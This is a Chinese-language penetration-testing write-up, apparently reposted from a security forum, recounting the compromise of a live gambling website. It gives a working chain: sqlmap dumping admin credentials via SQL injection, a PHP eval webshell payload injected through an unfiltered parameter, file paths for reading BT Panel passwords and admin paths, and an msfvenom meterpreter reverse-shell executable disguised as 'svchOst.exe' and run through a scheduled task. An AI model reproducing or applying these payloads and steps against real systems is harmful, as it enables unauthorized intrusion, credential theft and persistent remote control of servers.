一次BC站点的GetShell过程

01

前言

bc实战代码审计拿下后台 、数据库 续这篇文章作者并没有成功GetShell,依稀记得以前遇到一个类似的站点,故打算再续前缘,最终成功拿下目标Shell权限。

02 进入后台

首先先常规扫一波目录:


        
dirsearch -u 'http://x.x.x.x:80/' -e php  

    

并没有发现有源码压缩包,故放弃这个思路,重新审视文章,获取关键字,去github进行搜索,成功找到部分源码,然后开始进行审计。

picture.image

Github:

picture.image

通过之前的扫描,可以获取到后台登陆地址。

picture.image

访问可以看到登陆页面。

picture.image

没有验证么,果断上一波常规的弱口令FUZZ,无果。那么只能通过源码进行突破了, 首先观察网站的后台鉴权逻辑主要是通过包含common/login_check.php进行判断。

picture.image


        
<?php  
@session_start(); //后台登陆验证  
  
if(!isset($\_SESSION["adminid"])){  
    unset($\_SESSION["adminid"]);  
    unset($\_SESSION["login\_pwd"]);  
    unset($\_SESSION["quanxian"]);  
    echo "<script>alert('login!!pass');</script>";  
    exit;  
}else{  
    include\_once("../../include/mysqlio.php");  

    

那么最 直接的 思路,就是 找到 一个 没有包含这个文件的地方。


      find ./ -name "*.php" |
      xargs grep 
        
-L "login\_check.php"  

    

找到文件Get_Odds_1.php, 发现其中的$type参数直接拼接进SQL语句中,存在注入。

picture.image

正常情况:

picture.image

输入单引号,出错:

picture.image

SQLMAP 跑出账号密码,,这里虽然是GET类型的SQL注入,但是直接使用sqlmap的-u参数是不行的,需要使用Burp抓包,保存数据包然后用-r参数。


        
 sqlmap -r sql.txt -D dsncly -T sys_admin --dump  

    

picture.image

03 Getshell

进入后台,先尝试黑盒,看看有没有上传功能,不过似乎没有找到可用的上传点。

picture.image

黑盒没找到很明显的办法了,只能进行快速代码审计了,直接全局搜索危险函数 eval,file_put_contens、fwrite、fputs 等。

picture.image

可以看到这里写入的文件是php文件,且内容可以通过ta_msg参数进行控制,也没有过滤,只有简单的去除两 边的空格,这里务必要自己本地进行构造下,避免出现闭合失败的错误。

构造


        
            

          
 payload:');eval($\_POST[a]);var\_dump(md5(1));//;
 
        
      

最终写入到文件 gp_db.php

picture.image

成功GetShell

picture.image

04

宝塔提权

通过phpinfo,可以看到disable_function,同时通过nmap扫描端口,可知目标存在宝塔。

不过幸运的是,shell的权限还是蛮高的,可以浏览到宝塔的目录。

picture.image

获取宝塔密码:


        
D:/BtSoft1/panel/data/default.pl  

    

开放端口:


        
D:/BtSoft1/panel/data/port.pl  

    

后台地址:


        
D:/BtSoft1/panel/data/admin_path.pl  

    

获取账号:


        
D:/BtSoft1/panel/data/default.db  

    

通过上面步骤获取到的账号和密码,登陆到后台 http://xxxx:8888/Tajl2eP0/

picture.image

登陆进去之后会弹出强制绑定窗口,可以通过直接访问/site来绕过这个。

下面有两种思路进行提权:

  1. 通过软件管理->已安装,删除禁用函数,来实现命令执行。

picture.image

picture.image

  1. 通过宝塔自带的计划任务。

MSF生成木马


        
msfvenom -p windows/meterpreter/reverse_tcp  -e x86/shikata_ga_nai -i 5  LHOST=x.x.x.x LPORT=10001 EXTENSIONS=stdapi,priv  -f exe > svchOst.exe  

    

放到C盘即可,然后添加shell计划任务

picture.image

ipconfig /all 查看网络状态

picture.image

简单查看下 arp -a 和扫描下内网网段的存活情况,并没有连通,故没有继续后续的内网渗透测试。

05 宝塔提权

本文的渗透过程比较常规,涵盖了从0到1的完整单目标渗透过程,核心在于快速的代码审 计能力,由于这个系统开发比较凌乱,所以故不能采用框架的方式去阅读,故采用危险函数定位是一种有效的方法,最后通过利用宝塔的信息,成功获取到最高的权限,完成渗透测试的目标。

文章来源:奇安信攻防社区(NoneSec)

原文地址:https://forum.butian.net/share/1225

如需转载 本样式风格、字体版权请保留出处: 李白你好

如有侵权,请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「 超详细 | 分享 」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具|无状态子域名爆破工具(1秒扫160万个子域)

查看更多精彩内容,还请关注 橘猫学安全:

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“ 再看

0
0
0
0
评论
未登录
暂无评论